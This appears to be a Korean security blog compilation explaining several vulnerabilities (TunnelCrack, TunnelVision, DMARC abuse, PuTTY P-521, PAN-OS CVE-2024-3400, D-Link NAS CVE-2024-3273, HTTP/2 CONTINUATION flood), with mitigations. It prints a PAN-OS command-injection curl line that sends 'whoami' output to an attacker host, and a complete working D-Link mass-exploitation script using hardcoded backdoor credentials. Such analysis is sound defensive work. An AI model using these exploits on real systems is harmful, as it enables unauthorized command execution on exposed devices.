1. VPN(Virtual Private Network)

- 가상 사설망

- 기존 공용 네트워크에 터널링 및 암호화 기법을 사용해 만든 가상 사설망 네트워크

- VPN을 활용해 외부에서 안전하게 내부망과 통신할 수 있음

- 비용 효율, 익명성, 암호화, IP 우회 등의 장점과 속도 저하, 일부 국가 불법 등의 단점이 있음

 

2. TunnelCrack [1]

- 23.08.08 VPN의 두 가지 보안 취약점이 결합된 트래픽 유출 취약점이 발견

> 해당 공격은 사용되는 VPN 프로토콜과 무관

> 많은 VPN 클라이언트는 다음 두 가지 유형의 트래픽을 VPN 터널 외부로 전송하기 위해 예외를 추가

① 로컬 네트워크와 주고받는 트래픽: VPN을 사용하는 동안 로컬 네트워크에 계속 액세스할 수 있도록 보장

② VPN 서버와 주고받는 트래픽: 라우팅 루프가 없음을 보장

 

2.1 LocalNet 공격 (CVE-2023-36672, CVE-2023-35838)

[사진 1] LocalNet 공격 요약

 

- 공격자가 로컬 네트워크 IP 주소 범위를 조작하여 트래픽이 유출될 수 있음

> 공격자가 로컬 네트워크에 할당된 IP 범위를 제어할 수 있다고 가정

> 공격자는 로컬 네트워크 내에서 활동

① 공격자는 악성 AP를 생성 하고 로컬 네트워크 IP 범위를 대상 서버의 IP 주소가 포함된 범위로 설정

② 피해자 VPN 클라이언트는 연결하려는 웹사이트가 로컬 네트워크에 있다고 믿도록 속여 연결되지 않음

 

[사진 2] LocalNet 공격 과정

 

① 공격자는 악성 AP를 생성하고 대상 서버의 IP 주소가 포함된 범위로 IP 범위를 설정하며, 피싱 사이트 생성

> 피싱 사이트는 대상 서버와 IP를 동일하게 구성

② 피해자는 악성 AP에 연결하며, 악성 AP는 target[.]com과 동일한 서브넷의 IP 주소 할당

③ 피해자는 정상적인 VPN 연결을 생성

④ 피해자가 target[.]com 접속 시 피싱 사이트로 연결

> 피해자는 target[.]com(피싱 사이트)가 동일한 로컬 네트워크에 있다고 믿음

> 결과적으로 클라이언트는 VPN 터널을 사용하지 않고 웹 서버에 직접 연결 시도

※ 목적지 target[.]com을 제외한 트래픽은 정상 VPN 터널을 통해 전송

 

2.2 ServerIP 공격 (CVE-2023-36673, CVE-2023-36671)

[사진 3] ServerIP 공격 요약

 

- 공격자는 VPN 서버의 IP 주소를 스푸핑하여 트래픽이 유출될 수 있음

> 공격자가 DNS 응답을 스푸핑할 수 있다고 가정

> 공격자는 위치는 (1) 피해자가 VPN 서버의 IP 주소를 조회하는데 사용하는 DNS 서버 (2) 트래픽을 유출하려는 피해자와 대상 서버

① 공격자는 피해자의 VPN 서버에 대한 nslookup 결과를 스푸핑 (DNS 스푸핑)

② 피해자는 스푸핑된 IP 주소로 서버에 연결 시도

 

[사진 4] ServerIP 공격 과정

 

① 피해자는 vpn[.]com의 IP를 얻기위해 nslookup

② 공격자는 nslookup에 대한 응답을 스푸핑하여 조작된 응답을 전송

> [사진 4]에서는 target[.]com의 IP 주소로 DNS 스푸핑

③ 피해자는 조작된 IP로 VPN 연결을 시도하며, 공격자는 정상 vpn[.]com으로 패킷 포워딩

④ 피해자가 target[.]com으로 접속 시 트래픽은 VPN 터널 외부로 전송

> 결과적으로 VPN 클라이언트는 스푸핑된 IP 주소로 연결을 시도

 

2.3 취약점 영향 및 대응 방안

[사진 5] TunnelCrack에 영향받는 VPN 클라이언트 비율 (좌 LocalNet, 우 ServerIP)

구분 대응방안
LocalNet - 로컬 트래픽 비활성화 (단, 로컬 네트워크 사용이 불가해짐)
- 라우팅할 수 없는 IP 주소에 대한 직접 액세스만 허용 (로컬 네트워크에 대한 액세스가 필수인 경우)
ServerIP - 정책 기반 라우팅 (VPN 클라이언트를 제외한 모든 애플리케이션의 트래픽을 VPN 터널을 통해 전송)
- 서버 IP 주소 확인 (클라이언트가 서버에 연결되면 VPN 서버의 IP 주소 확인)
- 인증된 DNS 사용 (DNSSEC 등)

 

3. TunnelVision (CVE-2024-3661) [2][3]

- 24.05.06 VPN 트래픽을 훔쳐볼 수 있는 취약점이 발견

> DHCP의 설계 오류로 인해 발생

> IP 라우팅을 기반으로하는 모든 VPN 시스템에 통하는 공격으로 2 가지 조건을 가짐

① 공격자가 클라이언트의 DHCP 서버가 되어야 함

② 대상 호스트의 DHCP 클라이언트는 옵션 121을 구현해야 함

 

- DHCP Option 33 vs Option 121

> 1997년 DHCP RFC에는 관리자가 클라이언트의 라우팅 테이블에 설치할 고정 경로를 지정할 수 있는 옵션 33 존재

> 옵션 33Classful Static Routes를 사용하였고, 공용 IP 공간이 제한되면서 시간이 지남에 따라 선호되지 않음

> 2002년 RFC 3442에서 Classless Static Routes가 가능한 옵션 121 도입 (호환을 위해 옵션 33 유지)

> TunnelVision은 옵션 121를 악용해 공격

※ Android는 DHCP 옵션 121을 지원하지않아 영향받지 않음

 

[사진 6] TunnelVision 공격 과정 [4]

 

① 공격자는 정상 DHCP 서버에 DHCP 고갈 공격을 수행

> DHCP 고갈 공격: DHCP 서버에 MAC 주소를 변조하여 DHCP Discover 패킷을 계속 전송하여 IP 주소를 모두 소진하도록 하는 공격

> DHCP는 DHCP Discover 패킷의 MAC 주소만 보고 호스트 인식

② 공격자는 피해자와 동일한 네트워크에서 악성 DHCP를 운영

③ 악성 DHCP 서버는 옵션 121을 악용해 라우팅 테이블에 고정 경로를 구성

④ 공격자는 트래픽이 기본 게이트웨이로 전달되기 전에 암호화되지 않은 트래픽을 가로챌 수 있음

 

[사진 7] 옵션 121을 악용한 정적 경로 [4]

 

 

[영상 1] TunnelVision 공격 시연 영상 [5]

 

3.1 대응방안

구분 설명
DHCP Snooping - DHCP 서버를 보호하기 위해 사용하는 기능
> 스위치에는 DHCP 서버 또는 DHCP Relay Agent가 접속된 Trusted Port와 DHCP 클라이언트가 접속된 Untrusted Port가 있음
> Untrusted Port에서 DHCP 응답 메시지를 확인하면 차단 (DHCP Spoofing 방지)
> 또한, Ethernet 프레임의 SRC MAC 주소와 DHCP 메시지의 클라이언트 MAC 주소를 비교해 정상 여부 판단 (DHCP 고갈 공격 방지)
옵션 121 비활성화 - TunnelVision은 옵션 121을 악용하므로 옵션 121 비활성화시 완화할 수 있음
포트 보안 - 포트에 연결된 PC의 MAC 주소를 등록한 후 등록된 MAC 주소에서 수신한 패킷만 전달

 

4. 참고

[1] https://tunnelcrack.mathyvanhoef.com/details.html
[2] https://www.leviathansecurity.com/blog/tunnelvision
[3] https://github.com/leviathansecurity/TunnelVision
[4] https://www.zscaler.com/blogs/security-research/cve-2024-3661-k-tunnelvision-exposes-vpn-bypass-vulnerability

[5] https://www.youtube.com/watch?v=ajsLmZia6UU

1. 개요 [1]

- 미국 국가안보국(NSA), 연방수사국(FBI), 국무부는 이메일 보안 프로토콜을 악용한 북한 해킹그룹 관련 보안 권고 발표
- 북한 해킹그룹은 신분을 가장하여 스피어피싱 캠페인을 수행

 

2. 주요내용

북한 해킹그룹은 이메일 보안 프로토콜 DMARC을 악용해 피싱 메일을 발송

 

- DMARC (Domain-based Message Authentication Reporting and Conformance) [2][3]
SPF와 DKIM을 사용해 메일의 인증 여부를 확인하고, 메일이 SPF와 DKIM 검사를 통과하지 못하면 DMARC 정책이 실행

> DNS TXT 레코드에 명시

※ DMARC 정책 : 의심스러운 메일을 처리하는 방법이 명시

 

> SPF와 DKIM을 기반으로 동작하기에 SPF와 DKIM을 먼저 설정해야 함

※ SPF (Sender Policy Framework) : 수신측 메일서버가 발신측 메일 발송 IP가 DNS에 등록된 IP가 맞는지 확인하여 스팸인지 아닌지 확인

※ DKIM (Domain Keys Identified Mail) : 수신측 메일서버가 발신측에서 보낸 전자서명과 DNS에 등록된 DKIM 공개키로 전자서명을 검증하여 스팸인지 아닌지 확인

 

- DMARC 레코드 다음과 같은 항목으로 구성 [4][5]

DMARC 레코드 형식 예시: v=DMARC1; p=none; aspf=r; adkim=r; rua=mailto:report@example.com
항목 설명 비고
v - DMARC의 버전을 설명하며, 반드시 가장 먼저 선언되어야 함 필수
p - 반드시 v 다음에 선언되어야 함
- 수신 서버에서 DMARC로 인증되지 않은 메일에 대한 처리 방법 명시
> none : 아무런 조치를 하지 않고 메일을 수신
> quarantine : 이메일을 스팸으로 표시하고 스팸함으로 보냄
> reject : 수신을 거부 (스팸함에도 도착하지 않음)
필수
sp - 하위 도메인에서 전송된 메일에 대한 정책
> none : 아무런 조치를 하지 않고 메일을 수신
> quarantine : 이메일을 스팸으로 표시하고 스팸함으로 보냄
> reject : 수신을 거부 (스팸함에도 도착하지 않음)
 
aspf - 메일 정보가 SPF 서명과 어느 정도 정확하게 일치해야 하는지 정의
- 값을 설정하지 않으면 기본적으로 r 값으로 설정
> s: 모두 일치
> r: 부분적 일치
 
adkim - 메일 정보가 DKIM 서명과 어느 정도 정확하게 일치해야 하는지 정의
- 값을 설정하지 않으면 기본적으로 r 값으로 설정
> s: 모두 일치
> r: 부분적 일치
 
rua - DMARC 처리 보고서를 수신할 이메일 주소
- 메일 주소 앞에 "mailto:"를 입력
- 쉼표(,)를 연결하여 여러 이메일 주소 지정 가능
 
ruf - DMARC 처리 실패 보고서를 수신할 이메일 주소
- 메일 주소 앞에 "mailto:"를 입력
- 쉼표(,)를 연결하여 여러 이메일 주소 지정 가능
 
pct - DMARC 정책을 적용할 이메일 비중
- 0 ~ 100까지 설정 가능하며 기본값은 100
 
fo - 실패 보고서(ruf)를 생성할 기준
> 0: SPF, DKIM 모두 실패 (기본값)
> 1: SPF, DKIM 둘 중 하나 실패
> s: SPF 실패
> d: DKIM 실패
 
rf - 실패 보고서(ruf) 형식에 대한 설정
- 값 afrf 고정
 
ri - 실패를 집계할 기간으로, 설정된 주기마다 rua 발송
- 기본값: 86400초
 

 

- 북한 공격자들은 "p=none" 설정의 약점을 공격에 악용

> DMARC 레코드 설정에 따르면 p=none 설정은 검증 실패 시 아무런 조치 없이 메일을 수신

[사진 1] p=none

 

- 또는 메일 헤더를 조작하거나 [사진 2], 메일 본문에 회신 메일을 명시하여 회신을 유도 [사진 3]

 

[사진 2] 메일 헤더 조작
[사진 3] 메일 본문 회신 메일 명시

 

- 따라서, 위협에 대응하기 위해 DMARC 보안 정책을 구현할 것을 권장

> "v=DMARC1; p=quarantine;" 또는 "v=DMARC1; p=reject;"로 설정을 업데이트

> rua, ruf 레코드를 사용해 통합 보고서를 수신하여 가시성 확보 및 잠재적 보안 침해 식별

> 단, DMARC 정책 적용으로 발송한 메일이 수신자에게 전달되지 않을 수 있으므로, 영향도 검증 필요

 

3. 참고

[1] https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3762915/nsa-highlights-mitigations-against-north-korean-actor-email-policy-exploitation/
[2] https://www.crinity.net/Newsletter/2019/06/Coffee_Break.html
[3] https://help.worksmobile.com/kr/administrator/service/mail/advanced-setting/what-is-dmarc/
[4] https://help.worksmobile.com/kr/administrator/service/mail/advanced-setting/what-is-dmarc/
[5] https://docs.nhncloud.com/ko/Notification/Email/ko/dmarc-record/
[6] https://www.dailysecu.com/news/articleView.html?idxno=155699

1.PuTTY [1]

- SSH, 텔넷, rlogin, raw TCP를 위한 클라이언트로 동작하는 자유 및 오픈 소스 단말 에뮬레이터 응용 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-31497 [2]

 

- 취약한 버전의 PuTTY에서 발생하는 비밀 키 복구 취약점

> 공격자는 비밀 키를 복구 및 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인할 수 있음

영향받는 버전: PuTTY 0.68 ~ 0.80

 

2.1 상세내용 [3]

- PuTTY 0.68 ~ 0.80까지 모든 버전에는 NIST P521 커브를 사용하는 ECDSA(타원 곡선 디지털 서명 알고리즘) 개인 키에서 서명을 생성하는 코드에 심각한 취약점이 존재

> PuTTY 또는 Pageant가 SSH 서버에 인증할 때 키에서 서명을 생성할 때 발생

 

2.1.1 취약점의 영향

- 사용자의 비밀 키가 노출

> 공격자가 다수의 서명된 메시지와 공개 키를 가지고 있으면 개인 키를 복구하는데 충분한 정보를 가지게 됨

> 이를 통해 사용자인 것처럼 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인이 가능해 짐

> 서명을 얻기 위해 키를 사용하여 인증하는 서버를 침해하거나, 키를 보유한 Pageant 사본에 잠시 액세스하면 됨

 

2.1.2 영향받는 키 타입

- 영향을 받는 유일한 키 타입521bit ECDSA

① Windows PuTTYgen에서 'Key fingerprint' 상자의 시작 부분에 ecdsa-sha2-nistp521이 표시되거나
② Windows Pageant에 로드될 때 'NIST p521'로 설명되거나
③ SSH 프로토콜 또는 키 파일에서 ecdsa-sha2-nistp521로 시작하는 ID를 가진 키

> 다른 크기의 ECDSA와 다른 키 알고리즘은 영향 받지 않음 (특히 Ed25519는 영향을 받지 않음)

 

2.1.3 오류 상세 내용

- 모든 DSA(디지털 서명 알고리즘) 서명 체계는 서명 중 무작위 값을 생성해야 함

> nonce(한 번만 사용되는 값) 또는 문자 k로 알려짐
> 공격자가 사용된 값을 추측 하거나 동일한 값으로 생성된 두 개의 서명을 찾을 수 있다면 즉시 개인키 복구가 가능

※ 즉, 무작위성이 없는 시스템에서 DSA 서명을 생성하는 것은 매우 위험

 

- PuTTY는 Windows에서 개발되었기 때문에 난수 생성기가 전혀 없었음

> 무작위 값이 아닌 결정론적 방법을 사용하여 k를 생성

> 해시 입력에 서명할 메시지와 개인 키를 모두 포함하는 보안 해시를 계산하는 것이 핵심 기법 (RFC 6979)

> PuTTY는 2001년부터 동일한 작업을 수행했고 해당 RFC는 2013년 문서화되어 PuTTY는 해당 사양을 따르지 않음

 

2.1.4 취약점 발생 원인

- PuTTY의 기술은 SHA-512 해시를 만든 후 이를 mod q로 줄이는 방식으로 작동

> P521(=영향받는 키 타입)을 제외한 모든 경우에 512bit 숫자를 mod q로 줄임으로써 발생하는 편향은 무시가능

> 그러나 P521의 경우 q가 521bit(즉, 512bit 이상)이므로 512bit 숫자를 mod q로 줄이는 것은 아무 의미가 없음

> 상위 9bit 값이 항상 0인 값을 얻게 되며, 이러한 편향으로 인해 키 복구 공격이 가능해 짐

※ 필요한 서명의 개수는 약 60개

 

2.1.5 취약점 수정 내용 및 대응 방안

- 수정 내역: 모든 DSA 및 ECDSA 키 유형에 대해 RFC 6979를 따르도록 변경

> 이전 시스템 완전 폐기

> Ed25519와 같은 EdDSA 키는 이미 다른 시스템을 사용하고 있어 변경되지 않음

 

- 대응 방안: 영향받는 유형의 키가 있는 경우 즉시 폐기

> 모든 OpenSSH authorized_keys 파일과 다른 SSH 서버의 동일한 파일에서 이전 공개키를 제거

> 손상된 키의 서명이 더 이상 가치가 없도록한 후 새 키 쌍을 생성해 교체

 

3. 참고

[1] https://www.putty.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-31497
[3] https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-p521-bias.html
[4] https://www.boannews.com/media/view.asp?idx=128945&page=6&kind=1

1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400

 

- Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발생하는 Command Injection Zero-Day 취약점 (CVSS: 10.0)

> 입력값에 대한 유효성 검증 과정이 잘못 구현되어 있거나 누락되어 발생하는 취약점으로 판단됨

> 인증되지 않은 공격자가 방화벽에서 root 권한을 가진 임의 코드를 실행할 수 있음

> 현재 UTA0218 공격 그룹에서 방화벽 공격에 실제 사용하고 있는 취약점

영향받는 버전
- PAN-OS 11.1 ~ 11.1.2-h3 이전 버전
- PAN-OS 11.0 ~ 11.0.4-h1 이전 버전
- PAN-OS 10.2 ~ 10.2.9-h1 이전 버전

 

2.1 주요내용 [2]

[사진 2] CVE-2024-3400 타임라인

 

- 보안 업체 Volexity는 NSM(Network Security Monitoring) 고객의 방화벽에서 의심스러운 네트워크 트래픽 경고 확인

Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발견된 제로데이 취약점을 악용

> 공격 그룹 UTA0218이 사용자 정의 Python 백도어 UPSTYLE을 방화벽에 설치하려는 시도를 확인

> 해당 백도어를 통해 장치에 추가 명령을 실행

UPSTYLE 백도어 - update[.]py를 사용해 해당 백도어를 유포
> /usr/lib/python3.6/site-packages/system.pth 경로에 백도어 배포
> 백도어는 Python으로 작성되어 있으며, base64 encoded 되어있음

- 동작 과정
① 공격자는 특정 패턴을 포함하며, 404 Error를 반환하는 요청 전송
② Error log(/var/log/pan/sslvpn_ngx_error.log)에서 특정 패턴 검색
③ 특정 패턴(명령)을 디코딩 및 실행
④ 명령 실행 결과를 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css에 작성
⑤ 공격자는 /bootstrap.min.css 경로로 요청 전송
⑥ Error log에서 명령 삭제 및 15초 후 /bootstrap.min.css 원본으로 복구

※ 두 가지 변형이 확인되었으나, 동작 과정에서 큰 차이는 보이지 않음

[사진 3] UPSTYLE 백도어 동작 과정

 

- 익스플로잇에 성공한 후 공격을 위한 추가 툴을 다운로드

> patch 파일의 내용을 지속적으로 가져와 실행하여 지속성 유지

> patch 파일이 실행되면 policy 파일을 다운로드 및 실행하며, 총 6개의 policy 파일을 확인

> 이후 공격자는 Chrome 및 Edge 로그인 데이터, 쿠키, PC 정보, 자격 증명 정보 등을 탈취

구분 설명
patch - update.cron 파일 존재 여부 확인
> 없을 경우 파일을 생성 및 실행하여 cron 작업을 설정
> policy 파일을 다운로드하고, 60초마다 bash를 통해 실행

- 공격자는 추가 공격을 위해 수동으로 policy 파일을 작성
> C2 서버에 대한 접근 제어 목록을 수동으로 관리하는 것으로 확인
policy v1 - python으로 작성된 on-line 리버스 셸
policy v2 - 공격 명령 실행 결과가 포함된 CSS 파일을 제거
- 방화벽 장치의 설정을 새 파일에 복사하여 CSS 파일에 장치의 호스트 이름을 저장
> 해당 파일은 공격자가 접근 가능하도록 외부에서 액세스 가능한 디렉터리에 저장
policy v3 - 이전 단계에서 생성된 CSS 파일을 제거하는 데 사용
policy v4 - GOST 터널링 다운로드 및 실행하여, SOCKS5과 RTCP 터널 설정 시도
policy v5 - v4의 수정된 버전으로, Base64 인코딩 형식으로 GOST 터널링 다운로드
policy v6 - SSH를 통해 작동하는 오픈 소스 리버스 셸을 다운로드 및 실행하는 명령이 포함

 

2.2 취약점 분석 [3]

[사진 4] 취약한 함수

 

- send_file()는 서버에 파일을 업로드하기 위해 curl_cmd 문자열을 구성한 후 pansys() 호출 및 curl_cmd 실행

> pansys() 호출시 shell 변수를 True로 설정하여 셸 기능에 액세스할 수 있는 것으로 판단됨

[사진 5] SESSID 값 저장

 

- SESSID 쿠키에 설정된 값을 /tmp/sslvpn 경로에 session_ 문자열을 붙여 저장

> SESSID 쿠키에 임의의 데이터를 전달할 경우 /tmp/sslvpn에 "session_임의의 데이터" 저장

> SESSID 쿠키에 디렉터리 이동 문자 (../)를 추가할 경우 "seesion_" 문자가 추가되지 않음

curl hxxps://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'

 

[사진 6] Exploit 결과

 

- 공격자는 2가지 버그를 결합해 취약한 장치에서 명령을 실행 [4]

> 1단계: SESSID에 셸 명령을 포함해 GlobalProtect에 전송하여 명령이 포함된 파일 생성

> 2단계: cron 작업을 통해 공격자가 제공한 명령이 실행

[사진 7] Expoloit 요약

2.3 PoC

- 깃허브에서 등록된 PoC는 404 Error 반환

> 일부 확인되는 PoC에서는 POST 요청의 데이터에 xml 포맷으로 명령어 전달 [5]

def exploit_firewall(target_ip, payload, root_ca=None):
    url = f"https://{target_ip}/api/"

    data = f"""<?xml version="1.0" encoding="UTF-8"?>
    <request>
        <op cmd="test" />
        <cmd code="ping">{payload}</cmd>
    </request>"""

    headers = {
        "User-Agent": "PAN-OS-Exploit",
        "Content-Type": "application/xml"
    }

    try:
        if root_ca:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=root_ca)
        else:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=False)

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [6]

> main_isValidSessionId()를 추가하여 SESSID 값을 추출하며 유효한 UUID 값인지 확인

> [사진 4] pansys() 호출시 shell 변수 값을 False로 수정

제품명 영향받는 버전 해결 버전
PAN-OS 11.1 ~ 11.1.2-h3 이전 11.1.2-h3 이상
11.0 ~ 11.0.4-h1 이전 11.0.4-h1 이상
10.2 ~ 10.2.9-h1 이전 10.2.9-h1 이상

 

- 장치 침해 징후 식별

구분 설명
네트워크 트래픽
모니터링
- wget 명령을 이용한 특정 IP, URL에 대한 요청
- GlobalProtect 어플라이언스에서 시작된 내부 여러 시스템에 대한 SMB/RDP 연결
- Chrome 또는 Edge 데이터 또는 ntds[.]dit 파일의 SMB 파일 전송
방화벽 로그 분석 - Palo Alto Networks와 Volexity는 분석을 위한 기술 지원 제공
휘발성 메모리 수집

 

- 관련 침해지표 보안 장비 등록 [7][8]

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400
[2] https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

[3] https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis

[4] https://www.paloaltonetworks.com/blog/2024/04/more-on-the-pan-os-cve/

[5] https://hackyboiz.github.io/2024/04/14/j0ker/2024-04-13/
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71402&menuNo=205020

[7] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/rules.yar

[8] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/iocs.csv

[9] https://www.boannews.com/media/view.asp?idx=128841&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=128833&page=1&kind=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=155122

1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273

 

- 취약한 버전의 D-Link 사의 여러 NAS 제품들에서 발생하는 임의 명령 주입 공격 취약점

영향받는 버전
- DNS-320L 버전 1.11, 버전 1.03.0904.2013, 버전 1.01.0702.2013
- DNS-325 버전 1.01
- DNS-327L 버전 1.09, 버전 1.00.0409.2013
- DNS-340L 버전 1.08

 

[사진 2] 인터넷에 노출된 취약한 D-Link NAS 장치 [2]

 

2. 취약점 상세 [2]

- 취약점은 /cgi-bin/nas_sharing.cgi 엔드포인트에 존재

> /cgi-bin/nas_sharing.cgi에 하드코딩된 자격 증명을 악용해 권한 없는 사용자가 시스템에 접근하는 백도어로 사용 

> 해당 엔드포인트에 user, passwd 매개변수와 system 매개변수를 설정해 GET 요청을 전송

① 백도어: 하드코딩된 user, passwd 매개변수를 이용

② 명령주입: system 매개변수를 이용하며, base64 인코딩을 적용해 전달

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<BASE64_ENCODED_COMMAND_TO_BE_EXECUTED>

 

[사진 3] Exploit 결과

 

3. PoC [3]

- cgi-bin/nas_sharing.cgi URL로 GET 요청을 전송

> user 매개변수의 값을 messagebus, passwd 매개변수의 값을 빈 값으로 설정

> system 매개변수의 값을 base64로 인코딩하여 전송

import requests
import base64
import threading

# Utility function for Base64 encoding
def encode_base64(command):
    return base64.b64encode(command.encode()).decode()

# Watermark banner
print("""
┏┓┓┏┏┓  ┏┓┏┓┏┓┏┓  ┏┓┏┓━┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫
┗┛┗┛┗┛  ┗━┗┛┗━┗╋  ┗┛┗━ ╹┗┛
""")

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 YaBrowser/19.6.1.153 Yowser/2.5 Safari/537.36",
    "Accept-Encoding": "identity"
}

# Use a session for requests
session = requests.Session()

# Lock for file writing
file_write_lock = threading.Lock()

def execute_command(host, command=None, print_response=True):
    if command is None:
        command = 'id'
    encoded_command = encode_base64(command)
    url = f"http://{host}/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={encoded_command}"
    
    try:
        response = session.get(url, headers=headers, timeout=10)
        if 'root' in response.text:
            with file_write_lock:
                with open('vulnerables.txt', 'a') as f:
                    f.write(host + '\n')
            print(f"Host {host} is vulnerable.")
        elif print_response:
            print(f"Response from {host}:")
            print(response.text)
    except requests.Timeout:
        print(f"Request timed out for host {host}.")
    except requests.ConnectionError as e:
        print(f"Connection error for host {host}.")
    except Exception as e:
        print(f"An error occurred for host {host}.")

def execute_command_multiple(file_path, export):
    with open(file_path, 'r') as file:
        threads = []
        for line in file:
            host = line.strip().replace("\ufeff", "")
            thread = threading.Thread(target=execute_command, args=(host, None, False))
            thread.start()
            threads.append(thread)

        # Wait for all threads to complete
        for thread in threads:
            thread.join()

def main():
    option = input("Choose an option (1: Single Host, 2: Multiple Hosts): ")
    
    if option == '1':
        host = input("Enter the host: ")
        command = input("Enter the command to run: ")
        execute_command(host, command)
    elif option == '2':
        file_path = input("Enter the file path containing hosts: ")
        export = input("Export vulnerable host to vulnerables.txt? (y/n): ").lower()
        execute_command_multiple(file_path, export)
    else:
        print("Invalid option.")

if __name__ == "__main__":
    main()

 

4. 대응방안

- 해당 NAS 제품은 EOL(End Of Life, 지원 종료)에 도달해 더 이상 지원되지 않는 장비

> 벤더사는 관련 제품을 폐기하고 펌웨어 업데이트를 지원하는 제품으로 교체할 것을 권장 [4]

 

- 보안 장비 탐지 정책 적용

> cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd

 

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273
[2] https://github.com/netsecfish/dlink?tab=readme-ov-file
[3] https://github.com/adhikara13/CVE-2024-3273
[4] https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
[5] https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/
[6] https://www.boannews.com/media/view.asp?idx=128614&page=4&kind=1

1. 개요

- HTTP/2 프로토콜 취약점으로인한 서비스 거부 공격이 발견

- HTTP/2 Rapid Reset 공격보다 더 심각한 문제를 유발

> 단일 TCP 연결로 웹 서버를 중단시킬 수 있음

 

2. 주요 내용 [1]

HTTP/2에서 통신의 최소 단위를 Frame이라하며, 하나의 프레임이 포함 [2][3]
- 프레임 헤더는 최소한으로 어떤 스트림에 속하는 프레임인지 식별을 가능케 함

프레임 설명
DATA HTTP 요청 또는 응답 페이로드를 전달하기 위해 사용
HEADERS 스트림을 시작해 엔드포인트에 메시지 헤더를 전송하는 데 사용
PRIORITY 스트림 우선순위를 지정하기 위해 사용
RST_STREAM 클라이언트이나 서버에서 스트림을 즉시 종료하기 위해 사용 (보통 오류 상태에 대한 응답)
SETTINGS 일련의 키값 쌍으로 구성되며, 송신자가 설정하여 수신자에게 전달하기 위해 사용
PUSH_PROMISE 서버가 클라이언트에게 클라이언트가 요청하지 않은 개체를 전송하려 한다는 것을 알리기 위해 사용
PING 엔드포인트 간 왕복 시간을 측청하기 위해 사용
GOAWAY 연결을 정상 종료하기 위해 사용
WINDOW_UPDATE 스트림 흐름 제어를 위해 사용
CONTINUATION 시퀀스를 계속하기 위해 사용

 

- HEADERSCONTINUATION 프레임이 공격에 악용

> HEADERS 프레임에서 END_HEADERS 플래그가 설정되지 않은 경우 CONTINUATION 프레임이 이어서 전송

> CONTINUATION 프레임에서 END_HEADERS 플래그가 설정되지 않은 경우 CONTINUATION 프레임이 이어서 전송

 

- 즉, 클라이언트가 새로운 HTTP/2 스트림을 시작하고

> HEADERS 및 CONTINUATION 프레임을 전송하지만, END_HEADERS 플래그가 설정되지 않은 경우 

> HTTP/2 서버가 구문 분석하고 메모리에 저장해야 하는 헤더의 무한한 스트림이 생성

[사진 1] CONTINUATION Flood 흐름

 

- HTTP/1.1에서는 두 가지 메커니즘을 통해 무한 헤더 문제로부터 보호

> 헤더 크기 제한: 헤더 목록이 허용된 크기를 초과 하면 연결이 끊어짐

> 요청/헤더 시간 초과: 요청/헤더가 적시에 전송되지 않으면 연결이 끊어짐

> HTTP/2에서는 구현되어 있지 않거나, 잘못 구현되어 있어 CPU, 메모리 부족 등 서비스 거부로 이어질 수 있음

 

- CERT-CC(CERT Coordination Center)는 해당 공격에 해당하는 CVE ID를 공개 [4]

> 메모리 누수, 메모리 소비, CPU 소모 등 다양한 수준의 서비스 거부 공격 허용

CVE ID 설명
CVE-2024-27983 - Node.js HTTP/2 서버에 영향
- 몇 개의 HTTP/2 프레임을 전송하면 경쟁 조건으로 인해 메모리 누수가 발생하여 잠재적인 DoS 발생
CVE-2024-27919 - Envoy의 oghttp 코덱에 영향
- 헤더 맵 제한을 초과할 때 요청을 재설정하지 않아 메모리가 무제한으로 소비
CVE-2024-2758 - Tempesta FW와 관련
- 속도 제한은 빈 CONTINUATION 프레임 공격을 효과적으로 방지하지 못하여 잠재적으로 DoS 허용
CVE-2024-2653 - amphp/http에 영향
- 무제한 버퍼에서 CONTINUATION 프레임을 수집하여 헤더 크기 제한을 초과하면 OOM 충돌 위험
CVE-2023-45288 - Go의 net/http 및 net/http2 패키지에 영향
- 공격자가 임의로 큰 헤더 세트를 보내 과도한 CPU 소비를 유발
CVE-2024-28182 - nghttp2 라이브러리를 사용하는 구현과 관련
- CONTINUATION 프레임을 계속 수신하여 적절한 스트림 재설정 콜백 없이 DoS로 이어짐
CVE-2024-27316 - Apache Httpd에 영향
